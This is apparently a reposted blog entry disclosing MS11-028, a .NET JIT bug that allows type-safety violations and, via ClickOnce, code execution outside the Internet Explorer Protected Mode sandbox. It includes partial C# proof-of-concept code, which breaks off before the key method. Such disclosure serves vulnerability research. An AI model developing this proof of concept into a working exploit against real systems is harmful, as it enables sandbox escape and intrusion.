MS11-028 Vulnerability Details

The bug report apparently originated on stackoverflow and was subsequently filed on Microsoft connect. So it has been public since August 4, 2010 and easily findable in connect (that's how I found it, by searching for JIT bugs). Microsoft seems to believe that since they have not seen any widespread exploits of .NET vulnerabilities (see claim here) that this was not a high priority issue.

I've drawn my conclusions and disabled running all .NET code in the browser on my system.

It should also be noted that using ClickOnce, this issue can be used to execute code outside of the Internet Explorer Protected Mode sandbox.

Here is a simple example that uses the bug to violate type safety:

using System;

using System.Runtime.InteropServices;

using System.Runtime.CompilerServices;

[StructLayout(LayoutKind.Sequential, Pack = 1)]

public struct RunLong {

  public byte Count;

  public long Value;

  public RunLong(byte count, long value) {

    Count = count;

    Value = value;

  }

}

class Program {

  static void Main(string[] args) {

    try {

      Whoop(null, null, args, null, Frob(new RunLong(1, 0)));

    } catch { }

  }

  [MethodImpl(MethodImplOptions.NoInlining)]

  private static object Frob(RunLong runLong) {

    return null;

  }

Read more: IKVM.NET Weblog

Posted via email from Jasper-net